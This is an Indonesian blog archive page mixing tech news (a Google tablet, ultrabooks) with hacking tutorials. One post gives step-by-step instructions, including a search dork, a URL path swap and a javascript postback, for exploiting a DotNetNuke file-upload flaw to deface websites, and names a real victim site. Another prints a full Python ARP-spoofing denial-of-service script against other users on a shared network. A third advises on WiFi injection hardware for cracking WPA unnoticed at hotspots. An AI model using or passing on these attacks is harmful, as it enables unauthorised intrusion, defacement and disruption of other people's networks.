Showing posts with label CYBER. Show all posts
Showing posts with label CYBER. Show all posts

Wireless Card Support H*cking

Tidak ada hacking tanpa tools, itulah yang menjadi dasar pembahasan kali ini. Setiap kegiatan manusia tidak pernah luput dari penggunaan alat, termasuk hal sepele seperti h*cking komputer.

Pemilihan alat yang tepat menjadi dasar dalam beraksi, karena tidak sembarang alat bisa digunakan. Disini akan membahas secara singkat bagaimana memilih perangkat untuk kegiatan wireless h*cking.




Faktor-faktor yang mempengaruhi kecepatan dan ketepatan wireless h*cking :
  • Kecepatan akses data, makin cepat akses data maka makin cepat kita bisa menyelesaikan pekerjaan.
  • Jangkauan, jangkauan sangat mempengaruhi dalam menemukan client lain di sekitar kita, wireless card yang baik memiliki jangkauan hingga draft-N, jadi bila pada alat yang Anda beli masih tertulis 802.11a/b/g tanpa "N" maka segeralah Anda mengurungkan niat untuk membeli alat tersebut.
  • Pemilihan driver, alat yang bagus tidak ada gunanya bila tidak disupport driver yang sesuai, gunakan driver yang cocok untuk injection, karena injection merupakan syarat WAJIB untuk aktifitas ini. Bila tidak dapat injection maka Anda tidak dapat bergerak lebih untuk meng-capture internet traffic, cr*cking WPA password, dsb. Anda bisa upgrade, downgrade, atau patching driver secara manual.
  • Pemilihan system operasi, usahakan sistem operasi Anda sudah cocok untuk h*cking, misal : Backtrack, Blackbuntu, dsb dan usahakan LINUX based yang ber-user interface tidak terlalu mencolok. Bila satu system operasi tidak dapat digunakan maka pakailah yang lain yang cocok dengan perangkat Anda. Tidak ada patokan Anda harus menggunakan system operasi ini sampai mati.

Secara fisik hindari penggunaan alat yang terlalu mencolok, maksimal gunakan wireless card seukuran flashdisk, bila Anda beraksi di hotspot area. Jangan memasang antena pada laptop Anda, karena hal itu akan memancing kecurigaan orang sekitar.


Ciri wireless card yang support injection :

- Biasanya wireless card dari atheros sudah memiliki fitur ini, Anda bisa mencari keterangannya di madwifi-project.org. Perangkat digunakan adalah atheros AR9285, dalam referensi tersebut diperoleh informasi sebagai berikut :

Dalam catatan disebutkan bahwa perangkat didukung dengan driver ath9k (Linux), bekerja baik untuk monitoring jaringan seperti mono, injection , namun sensitifitasnya rendah (tidak terlalu jadi masalah, masih bisa melakukan h*cking). Anda bisa menggunakan alat lain dengan sensitivitas lebih agar lebih banyak menangkap paket data. Secara keseluruhan sudah oke bahkan pada Backtrack 4 bekerja dengan sempurna.

- Mencari di google dengan keyword (spasi), misal AR9285 injection

- Mencoba secara manual dengan software aircrack. Gunakan aircrack linux dan sebuah perangkat lain yang bisa wireless, tidak harus access point secara fisik, namun bisa dengan adhoc yang disetting password WEP. Kalau Anda berhasil membajak perangkat tersebut artinya wireless card, driver, dan system operasi yang Anda gunakan sudah support
injection dengan baik.
 

*Jadilah Lebih Pintar ^_^


Bookmark and Share

Google Bersaing Produksi Tablet PC

Google berencana untuk meluncurkan komputer tablet merek Google tahun ini dengan harga yang sangat murah pada $150, jauh dibawah harga iPad dan produk tablet Amazon yang terbaru, yakni Kindle Fire.

Padahal biaya produksi pembuatan komputer tablet Google tersebut sebarnya lebih tinggi dibanding harga jual, yang berarti Google memberikan subsidi cukup tinggi untuk produk tabletnya, namun memang itulah resiko bagi Google supaya bisa ikut berkompetisi dalam pasar komputer tablet yang telah dipimpin oleh Apple.

Produk terbaru Google ini kemungkinan akan diluncurkan pada Q3 nanti, bekerjasama dengan Asus, yang merupakan perusahaan perakitan komputer berbasis Taiwan dan telah berpengalaman memproduksi komputer tablet Android, yakni Transformer Prime.

Harga tablet dari Google sebesar $150 ini cukup kompetitif, karena cukup jauh dibawah harga jual Apple iPad di banderol $499, dan dibawah generasi Kindle Fire terbaru pada banderol $200.


Menurut laporan media Taiwan, DigiTimes, Asus telah dipercaya Google untuk membuat tablet Nexus dengan ukuran 7 inch. Selain Asus, kandidat lain adalah Acer dan HTC. Namun pilihan akhirnya mengarah pada Asus yang sudah berpengalaman membuat berbagai macam tablet Android. Asus Transformer Prime misalnya, adalah tablet pertama yang memakai Android Ice Cream Sandwich.

Belum ada konfirmasi mengenai kebenaran kabar penunjukan Asus ini. Yang sudah dapat dipastikan adalah Google memang berencana membuat tablet sendiri seperti telah diungkapkan oleh sang chairman, Eric Schmidt beberapa waktu lampau.

"Enam bulan ke depan kami berencana memasarkan tablet dengan kualitas terbaik, memperkuat kompetisi yang kian sengit antara Apple dan Android Google," kata Schmidt.

Di segmen smartphone, Google telah merilis ponsel sendiri dengan sebutan nama Nexus. Saat ini sudah ada tiga generasi smartphone Nexus yang mereka rilis, yaitu Nexus One, Nexus S dan yang baru saja dipasarkan Galaxy Nexus.

*Jadilah Lebih Pintar ^_^

Bookmark and Share

Hack Website via Handphone


Pada dasarnya aplikasi web browser di HP maupun di PC it cara kerjanya sama, yang membedakan adalah system yang bekerja mendukung applikasi itu sendiri (Java, SymBian, Linux, Windows, Android etc). Dan ukuran atau kapasitas serta kemampuan menampilkan web. Tapi pada dasarnya cara kerjanya tetap. Sama, jadi apa yang bisa dilakukan lewat pc,kemungkinan bisa juga dikerjakan lewat hape !
Yang dibahas disini adalah exploit web dengan cara hack web melalui DNN (dot net nuke) exploit
melalui hape.

Bahan yang dibutuhkan adalah :
1. Operamini browser versi 5.0
2. Operamini browser versi 4.2

Kenapa pake 2 Web Browser ini?
Lebih enak pake 2 browser di atas.alasannya :
1. Operamini 5.0 mendukung multi tab jadi cocok buat mencari target dan mengetesnya   tanpa harus open close satu-satu.
2. Operamini 5.0 mempunyai kemampuan copi paste, pilih text dan langsung men-search-nya dalam sekali klik ditab yang sama ataupun membukanya di tab baru.
3. Operamini 4.2 respon browser lebih bagus dari v 5.0
Setelah cek target dari operamini 5.0 dan ternyata vulner tinggal copy kan saja linknya di operamini 4.2 .
Lalu exploit-kan lewat situ..
(Operamini 4.2 tidak multi tab, untuk yang multi tab silahkan cari di opera modif di google)

sekarang memasuki langkah-langkah atau cara melakukan hack web dengan DNN exploit melalui opera mini.
Pertama : pastikan anda masih mempunyai saldo pulsa
Kedua : buka operamini v 5.0 anda dan ketik di kolom google search dork-nya -> inurl:”/portals/0″  

And search !!…
Kalau sudah dapet, tinggal kita pilh target yang pas di hati. dan kali ini saya coba di situs orang israel.
Taruh cursor di link target lalu tekan angka 1 di keypad hape anda.
Pilih open in new tab.
Begitu seterusnya untuk link target yang lain sampai keluar beberapa tab.
Oh ya untuk mengetahu gaimana, apa dan bagaimana DNN exploit itu silahkan baca disini:

http://securityreason.com/exploitalert/6234
Next, misalkan  sudah dapat targetnya, 
Example site:
http://fril.co.il/portals/0/cwindex.txt

Seperti keterangan di securityreason di atas kita coba potong link target dan menggantinya dengan
/Providers/HtmlEditorProviders/ Fck/fcklinkgallery.aspx  

-> http://site.com/[path]/portals/0/a.txt
Menjadi
-> http://site.com/[path]/Providers/HtmlEditorProviders/ Fck/fcklinkgallery.aspx  

Lakukan itu pada semua target yang sudah anda buka pada browser operamini 5.0. biar tidak bolak balik
copas lagi.

Setelah dapet dan pasti vulner seperti site di bawah ini.
http://fril.co.il//Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Copy dan pastekan di opera 4.2 anda.
*Alasannya kenapa pindah browser yaitu pada opera 5.0 di hape saya kurang respon pada perintah upload. Proses upload berjalan tapi file tidak terupload dan begitu di coba di v 4.2 sukses terupload. Tapi bila di v.5.0 anda bisa, ya lanjut saja disitu, tidak perlu pindah applikasi.

Lanjut proses.!
Setelah site target di buka di operamini 4.2
Pilih : file ( select a file on your site)
Tunggu biar loading selesai dan menampilkan 2 kolom:
Kolom 1 biasanya tulisan ‘root’
Kolom 2 berisi macammacam file.
Setelah loading selesai hapus link di addres bar operamini anda dan ganti dengan script di bawah ini:
javascript:__doPostBack(‘ctlURL $cmdUpload’,”)

Lalu klik ok….
Kolom yang tadinya berisi ‘root’ dan ‘jenisjenis file’
Sekarang ganti menjadi kolom ‘root’ dan kolom kosong untuk upload file.
Nah sekarang tinggal anda upload file txt yang sudah anda simpan di hape anda.
SUCCESS..! you can hacked a web site from mobile phone.

Hasilnya seperti ini http://fril.co.il/portals/0/xadal.txt <- 100% lewat handphone
*angka 1 di operamini berfungsi untuk copas, select text and open new tab.
good luck.

*Jadilah Lebih Pintar ^_^

Bookmark and Share

Dari Notebook ke Ultrabook

Selama bertahun-tahun komputasi pribadi telah melihat banyak evolusi terjadi di segmen sistem operasi, terutama dengan Windows yang berkembang dari tahun ke tahun – dari Windows XP ke Windows 8.
Segmen komputasi pribadi telah melihat banyak eksperimen ketika datang ke perangkat keras, juga. Ia telah datang dalam faktor bentuk yang banyak: Desktop komputer, notebook, tablet dengan stylus, PDA dan handheld, tablet generasi baru dan ponsel dari komputasi maju.
Dengan semua perubahan baru-baru ini memukul industri dan semua inovasi yang terjadi di sekitarnya, sudah saatnya kita melihat apa yang relevan dan apa yang tidak di segmen PC.
Dengan rilis produk inovatif dari Apple, pengenalan tablet dengan faktor bentuk tipis dan ringan, telah ada pembicaraan rumor yang terjadi di sekitar bahwa PC Desktop itu sudah mati. Jadi biarkan saya benarkan. PC desktop tidak mati dan tidak akan. Tapi perubahan adalah sesuatu yang Anda pasti dapat mengharapkan. Desktop tradisional dengan keyboard dan mouse dengan hardware yang kuat di sini, dan untuk melaksanakan sebagian besar tugas2, kita semua masih membutuhkan desktop.
Tablet yang juga indah. Mereka melakukan pekerjaan mereka dengan baik, terutama sebagai perangkat konsumsi konten. Jadi yang dilakukan ponsel sehari-hari, yang pasti cerdas, memungkinkan kita untuk menghilangkan kebutuhan untuk membawa pemutar musik yang terpisah, kamera digital dan sebagainya. Jadi di mana akan mengubah terjadi sekarang? Perhatikan sekitar Anda dan Anda sudah tahu apa yang saya bicarakan. Notebook !
Itu benar-benar bisa menjadi pilihan pribadi, tapi aku bukan penggemar Notebook. Aku punya desktop saja, biasanya baru setiap tahun, seperti Aku menyukai Windows dan saya terpasang ke meja saya kali hampir sepanjang hari. Dan ketika saya bergerak, saya lebih berpegang pada ponsel pintar saya untuk hampir semua kebutuhan dasar saya – dan jika saya mendapatkan beberapa waktu ekstra dan perlu sedikit lebih untuk memuaskan internet saya atau kebutuhan digital, saya dapat menarik tab saya.
Lalu mana notebook datang untuk bermain? Mereka adalah bagian hardware dengan berat baterai yang rendah dan kebutuhan perawatan lebih. Hal ini pernah menjadi simbol status – membawa mereka di sekitar kita. Lewatlah sudah hari-hari. Dengan segala hormat, notebook, Anda adalah alasan mengapa kita bahkan memiliki api rumor sekitar kematian dari semua PC.
Seperti semua teknologi umur sekarat, selama transisi dari, buruk menjadi baik, ada sudah selalu pria menengah, yang hanya muncul dan menghilang seperti percikan api. Sebagai contoh, Pager! Mereka adalah perangkat kecil yang muncul antara transisi sambungan telepon rumah ke ponsel.
Jadi adalah Netbook . Ini diharapkan untuk memuaskan mereka yang tidak puas dengan tab, atau dengan notebook. Netbook seharusnya melayani tujuan Notebook dan Tab pada saat yang sama, bekerja sebagai entitas rendah biaya. Tapi saya rasa mereka tidak benar-benar penggantian untuk notebook. Hanya tidak cukup kuat. Idenya adalah ketat ditetapkan untuk batas penggunaan internet. Bagaimana dengan daya komputasi? Sebuah lebih besar – “Tidak”.
Jadi sesuatu yang baru harus berada di sana. Dan tahun lalu Intel membayangkan sama. Mereka ingin komputasi yang kuat di kecil ultra-tipis faktor bentuk, dengan baterai yang sangat tahan lama. Dan mereka disebut Ultrabooks .

Ultrabook, apa itu?

Singkatnya, Ultrabooks adalah notebook itu sendiri. Standardisasi perangkat keras apa yang membuat mereka menjadi genre yang berbeda dari notebook. Seperti yang saya sebutkan sebelumnya, buku Ultra tipis, notebook bertenaga dengan perangkat keras teknologi menakjubkan modern dan kehidupan baterai yang lebih lama. Ia menjembatani kesenjangan antara tablet dan notebook generasi tua.
Secara teknis, Ultrabooks harus mengikuti pedoman perangkat keras yang ketat dari Intel.

  1. Ukuran layar: 13 “ukuran layar, ultrabook harus lebih tipis dari 18 mm. 17 “atau lebih besar layar harus lebih tipis dari 21 mm.
  2. Baterai: harus lebih besar dari 5 + kerja jam penuh
  3. Prosesor: harus generasi kedua atau di atas prosesor intel yang dirancang khusus untuk kinerja yang lebih tinggi dan konsumsi daya terendah
  4. Optical Drive: tidak diperlukan
  5. Teknologi: thunderbolt, USB 3.0, Bluetooth 3.0 dll jika ada.
  6. Wi-Fi: Wajib
  7. Wimax + 3G: Diperlukan namun tidak wajib
  8. Boot: Membutuhkan sandy bridge tipe Intel penyimpanan yang cepat (elemen boot disimpan pada chip dari mainboard untuk dekat untuk boot instan)
  9. Layar sentuh: Diperlukan untuk Haswell generasi ultrabooks (Windows 8 ultrabooks)

Notebook pertama di garis Ultrabook adalah Asus UX21, laptop 0,67-inci yang lebih tipis dibandingkan MacBook Air, termasuk layar 11,6 inci, satu USB 2.0 port dan satu merek baru port USB 3.0. Ultrabooks ini diharapkan memiliki fitur instant-on, yang akan memungkinkan Anda dengan cepat membalik laptop terbuka dan menggunakannya segera. Kebanyakan juga akan membawa prosesor modern yang kuat, spesifikasi perangkat keras modern seperti USB 3, Thunderbolt dll Empat pembuat sistem telah dikirim ultrabooks berdasarkan Sandy Bridge CPU saat ini: Acer, Asustek, Samsung dan Toshiba. Di masa mendatang, Intel berencana untuk bekerja pada Haswell, arsitektur prosesor 22nm untuk mengikuti ke Ivy Bridge, yang bertujuan untuk mengurangi konsumsi daya tetap menjaga kinerja. Haswell bertujuan untuk memberikan pengurangan 20 kali dalam konsumsi daya, yang akan memungkinkan sebuah sistem mobile untuk “hidup” hampir sepuluh hari dalam modus siaga pada satu biaya. Haswell juga bisa menyelesaikan revolusi ultrabook.
Datang ke beberapa perubahan teknis revolusioner dibuat, Intel telah mengembangkan spesifikasi LCD panel yang menghemat daya sistem dengan menyimpan data yang cukup untuk melayani sampai gambar layar tanpa terbangun CPU host. Spesifikasi melibatkan transisi interface panel untuk tertanam Displayport dan menempatkan kurang dari satu megabyte memori dalam panel elektronik. Skema ini bisa menambahkan hingga satu jam, dengan kehidupan rata-rata baterai sistem mobile.
Juga Microsoft dan Intel yang membawa suatu daya PC muncul skema manajemen disebut Converged Manajemen Platform Power, yang pertama akan built-in ke Windows 8. Pendekatan ini melibatkan agresif menggunakan kekuatan penjadwalan seluruh sistem berdasarkan parameter listrik bahwa komponen-komponen perangkat keras laporan ke sistem.
Seperti yang Anda lihat, itu bukan hanya perubahan kosmetik yang ditonjolkan oleh Ultrabooks. Ini adalah ras baru. Penjualan mungkin lambat sekarang, tapi masa depan pasti terlihat cerah.

*Jadilah Lebih Pintar ^_^

Bookmark and Share

Serang Balik Netcut


Koneksi putus bukan menjadi sebuah dilema lagi, melainkan bisa dikarenakan beberapa sebab. Terutama di hotspot gratisan atau di warnet-warnet, kalau koneksi kita lemot dan tidak bisa akses internet dengan tidak normal, mungkin salah satunya karena ada pengguna warnet lainnya yang menggunakan NETCUT.
Agar tidak bete karena loading lama, serang balik saja pengguna NETCUT tersebut.




Langkahnya adalah:

  1. Harus sudah terdapat python compiler di komputer
  2. Download toolsnya disini
  3. Jalankan tools tersebut dengan compile: python filenameexploit.py [ethernet] [macaddress], contoh:python netcutkiller.py eth0 A1:B2:C3:D4:E5:F6
Code exploitnya sebagai berikut :
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz : ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys
#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip = commands.getoutput("ip route list | grep default").split()[2]
def protect(gw_ip,gw_mac):
os.popen("arp -s %s %s" %(gw_ip,gw_mac))
print "Protected himself"
def detect():
ans = sniff(filter='arp',timeout=7)
target=[]
for r in ans.res:
target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
return target
def preattack(gw_ip):
num = []
count = 0
target = 0
temp = 0
print "Detecting..."
d = detect()
for i in range(len(d)):
if d[i].split()[0] == "255.255.255.255":
num.append(d.count(d[i]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
if d[i].split()[0] == gw_ip:
temp += 1
if len(d) < 7:
print "[-] No one use Netcut or try again"
exit()
if len(num)*7 < temp:
num[:] = []
count = 0
result = float(temp)/len(d)*100
for j in range(len(d)):
if d[i].split()[0] == gw_ip:
num.append(d.count(d[j]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
num.reverse()
result = float(temp)/len(d)*100
print target
else:
num.reverse()
result = float(num[0]+temp)/len(d)*100
print "There is a possibility that " + str(result) + "%"
if result>= 50:
target_mac = d[target].split()[1]
target_ip = d[target].split()[2]
print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
attack(target_mac,target_ip,gw_ip)
else:
print "[-] No one use Netcut or try again"
def attack(target_mac,target_ip,gw_ip):
print "[+]Counter Attack !!!"
e = Ether(dst="FF:FF:FF:FF:FF:FF")
while 1:
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
p = e/a/Padding("\x00"*18)
sendp(p,verbose=0)
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
p1 = e/a1/Padding("\x00"*18)
sendp(p1,verbose=0)
if __name__ == '__main__':
os.system("clear")
print "###################################################"
print " __ __ __ __ _____ __ __ _ _"
print "| \/ | \ \ / / / ____| \ \ / / | \ | |"
print "| \ / | __ \ \_/ /_ _| (___ __\ \ / /__| \| |"
print "| |\/| |/ _\ \ / _\ |\___ \ / _ \ \/ / _ \ . \ |"
print "| | | | (_| || | (_| |____) | __/\ / __/ |\ |"
print "|_| |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
print " "
print "###################################################"
print ""
print "http://mayaseven.blogspot.com"
print ""
if len(sys.argv) == 2 or len(sys.argv) == 3:
if len(sys.argv) == 2:
conf.iface=sys.argv[1]
preattack(gw_ip)
if len(sys.argv) == 3:
conf.iface=sys.argv[1]
gw_mac = sys.argv[2]
protect(gw_ip,gw_mac)
preattack(gw_ip)
else:
print '''Mode:
1.)Attack only
Usage: NetcutKiller
e.g. NetcutKiller.py wlan0
2.)Attack with protect himself
Usage: NetcutKiller
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
'''
# 1337day.com [2012-01-04]

Semoga berhasil.
*Jadilah Lebih Pintar ^_^


Bookmark and Share



Click here to get your free mobile phone or apple ipod
Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
eXTReMe Tracker